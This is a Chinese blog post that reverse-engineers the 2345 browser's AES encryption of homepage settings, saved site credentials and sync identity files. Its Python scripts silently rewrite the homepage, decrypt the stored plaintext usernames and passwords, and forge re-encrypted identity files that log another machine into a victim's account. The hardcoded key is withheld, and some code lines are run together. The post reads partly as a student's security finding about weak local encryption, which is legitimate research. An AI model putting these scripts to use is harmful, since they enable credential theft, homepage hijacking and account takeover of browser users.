逆向某浏览器主页设置算法和保存登录账号信息过程

最近对浏览器比较感兴趣,于是对两千三百四十五浏览器做了一些无脑逆向,有一点点小小的收获,第一次发文,没什么技术含量的东西,写得超级烂,大佬们喷轻点(心里承受能力弱) 。

ps:大四狗刚开始实习,想学学移动安全,求大佬们给点方向吧。

该浏览器在未登录时和登录时设置主页有些区别。具体有四点内容:

1.未登陆状态主页设置
2.登陆状态主页设置
3.解密保存在本地的网站登陆账号密码和身份信息
4.伪造身份同步云端信息

一、未登陆状态主页设置

先定位到关键算法,OD调试。

该函数08D5F028功能就是设置主页,函数原型大概是这样:SetHomePage(this,byte **url)

继续跟进该函数,然后进入函数08D62DD4

这个函数的作用就是使用密钥1 rootKey[16]

对C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Syn\HardwareInfo.dat进行

AES解密(CBC模式 Pkcs5Padding填充),解密后的数据存放在 一个二级指针指向的地址

rootKey[16]是程序写死的密钥

原型:DecrypturlKeyFromFile(byte **urlKey)

继续调试,进入函数08D62F44,这个函数原型可以写成:SaveHomePage(this,byte urlKey,byte url)

后续的url拼接,加密,写文件都是在这个函数里完成的

来到一个函数调用,08D5F65A目的是把url拼接成json格式:{“homepage”:”url”}

接着调试,这一处调用就是加密前面拼接的json数据,取前面解密出来的urlKey前16位当作key进行AES加密

函数大概张这样:Encrypt(byte json,byte urlKey,byte *encryptData),加密之后的数据写入 encryptData

085F8B6的作用就是把前面的加密数据 encryptData写入文件

C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat

未登录状态的主页分析到此就结束了,密钥 rootKey[16] 大家去分析一下就知道了,很简单的,给出上面几个函数的文件偏移

chrome.1652dd4:    DecrypturlKeyFromFile(byte **urlKey)   

chrome.164f224:    SaveHomePage(this,byte **urlKey,byte **url)

chrome.164F65A:    BuildJson(byte **url,byte**json)  //拼接成json

chrome.164F77C:   Encrypt(byte **json,byte **urlKey,byte **encryptData)   //取urlKey的前16位当作key加密数据

chrome.164F8B6:    SaveVerifyFile(byte **encryptData)

贴出写的贼烂的伪代码

void SetHomePage(byte *url)
{
    unsigned char prefixJson[] = { "homepage" };
    unsigned char rootKey[] = { "xxxxxxxxxxxxxxxxx" };
    char *keyPath = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\Syn\\HardwareInfo2.dat";
    char *pageFile = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\page_file.dat";

    HANDLE hFile = CreateFileA(keyPath,
        GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD bytesRead = 0;
    DWORD dwSize = GetFileSize(hFile, NULL);
    UCHAR *encryptKey = new UCHAR[dwSize];
    BOOL bRet = ReadFile(hFile, encryptKey, dwSize, &bytesRead, NULL);
    CloseHandle(hFile);
    if (bRet == FALSE)
    {
        return;
    }

    byte *key = AESCBCPK5Decrypt(encryptKey, rootKey);    //rootKey作为AES解密的key   CBC模式  Pkcs5Padding填充
    key[16] = 0;    //取解密数据的前16位

    ////拼接为:{"xxxx":"url"}
    string json = string("{\"") + (char*)prefixJson + "\":\"" + (char*)url + "\"}";

    byte* encryptData = AESCBCPK5Encrypt(json, key);    //加密json数据

    hFile = CreateFileA(pageFile,
        GENERIC_READ|GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return;
    }
    DWORD dataSize, bytesWrite;
    WriteFile(hFile, encryptKey, dataSize, &bytesWrite, NULL);
    CloseHandle(hFile);
}

二、登陆状态主页设置

登录状态的时候主页信息会保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\UserPrefs

目录名yyyy是一个md5值,后面会讲这个md5是根据谁生成的

UserPrefs文件的加密算法和未登录使用的算法一致

只是会先在C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\目录生成了一个临时文件:xxxxxxx.tmp

延时几秒再用ReplaceFileW函数替换掉UserPrefs文件,并没有使用CreateFileA/W函数

解密之后的 UserPrefs文件张这样:

马赛克打多了,关键位置还是:{“homepage”:”url”} 格式

三、解密保存在本地的网站登陆账号密码和身份信息

登录之后的用户身份信息保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat

搞笑的是加密方式和上面主页设置算法还是一致的

注意sync_password_id字段,前面的目录名yyy就是md5(sync_password_id)

最重点的地方来了,用同样的方式解密文件:

C:\Users\xxx\AppData\Local\2345Explorer\User\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2

没看错,就是用户浏览器记住的网站明文用户名密码和提交的一些表单信息

有点害怕,难道不应该使用windows身份加密API来加密这些东西吗

这样我把HardwareInfo2.dat和 Login DataV2文件拖到其他电脑上解密也太容易了吧

四、伪造身份同步云端信息

既然知道了 Login DataV2和 UserInfo.dat的生成过程,如果我们在另一台电脑上安装该浏览器,不登录任何账号,然后使用A用户的HardwareInfo2.dat文件解密自己的Login DataV2和 UserInfo.dat文件,再用B电脑的HardwareInfo2.dat加密前面解密出来的内容生成新的Login DataV2和 UserInfo.dat,再放入覆盖掉B电脑的相同文件,浏览器会不会登录上A用户,并且同步A的信息?

好像可以,书签什么的都同步下来了

顺便附上登录/未登录状态设置主页和伪造身份py代码,代码很烂,大佬们打轻点

import binascii
from Crypto.Cipher import AES

class AESCBCDeEncrypt:
    def __init__(self,key):
        self.key=key
        self.mode = AES.MODE_CBC
        self.bs = 16        self.PADDING = lambda s: s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)

    def encrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        text=self.PADDING(text)
        crypt = generator.encrypt(text)

        crypted_str = binascii.b2a_hex(crypt)
        return crypted_str,crypt

    def decrypt(self, text):
        generator = AES.new(self.key, self.mode, self.key)
        return generator.decrypt(text)

#登录设置主页def setPageWithLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs'    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')   #rootKey没有给出    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    fileData = open(file, 'rb').read()
    data = dataDecoder.decrypt(fileData)
    fix = data.find('"startup_urls":[]}}') + len('"startup_urls":[]}}')
    data=data[:fix]
    index = data.find('"homepage":') + len('"homepage":')
    index2 = data.find(',"pref_client"')
    url='"'+url+'"'    data=data[:index]+url+data[index2:]

    str,binData=dataDecoder.encrypt(data)
    f=open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs','wb')
    f.write(binData)
    f.close()

def decrypt(dataPath,keyPath):
    rootKey=''   #rootKey没有给出    keyRaw=open(keyPath,'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataRaw=open(dataPath,'rb').read()
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.decrypt(dataRaw)

def encrypt(dataRaw,keyPath):
    rootKey = ''    keyRaw = open(keyPath, 'rb').read()
    keyDecoder = AESCBCDeEncrypt(rootKey)
    key = keyDecoder.decrypt(keyRaw)[:16]
    dataDecoder = AESCBCDeEncrypt(key)
    dataDecoder = AESCBCDeEncrypt(key)
    return dataDecoder.encrypt(dataRaw)

def filterinfo(info,mark):
    index=info.rfind(mark)
    return info[:index+1]

#生成身份文件def fakeUser():
    localKeyFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat'    otherKeyFile = r'C:\Users\xxx\Desktop\other.dat'    loginFle = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2'    userinfoFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat'    logininfo = filterinfo(decrypt(loginFle, localKeyFile), '}')
    loginhex, loginRaw = encrypt(logininfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerLogin DataV2', 'wb')
    f.write(loginRaw)
    f.close()

    userinfo = filterinfo(decrypt(userinfoFile, localKeyFile), '\n')
    userinfoHex, userinfoRaw = encrypt(userinfo, otherKeyFile)
    f = open(r'C:\Users\xxx\Desktop\FakerUserInfo.dat', 'wb')
    f.write(userinfoRaw)
    f.close()

#未登录设置主页def setPageWithoutLogin(url):
    file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat'    macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read()
    keyDecoder = AESCBCDeEncrypt('rootKey')   #rootKey没有给出    key = keyDecoder.decrypt(macDecode)[:16]
    dataDecoder = AESCBCDeEncrypt(key)

    json='{"homepage":"url"}'    json=json.replace('url',url)
    f=open(file,'wb')
    f.write(dataDecoder.encrypt(json)[1])
    f.close()

if __name__ == '__main__':

    fakeUser()
    setPageWithoutLogin("iloveChina")
    setPageWithLogin("iloveChina")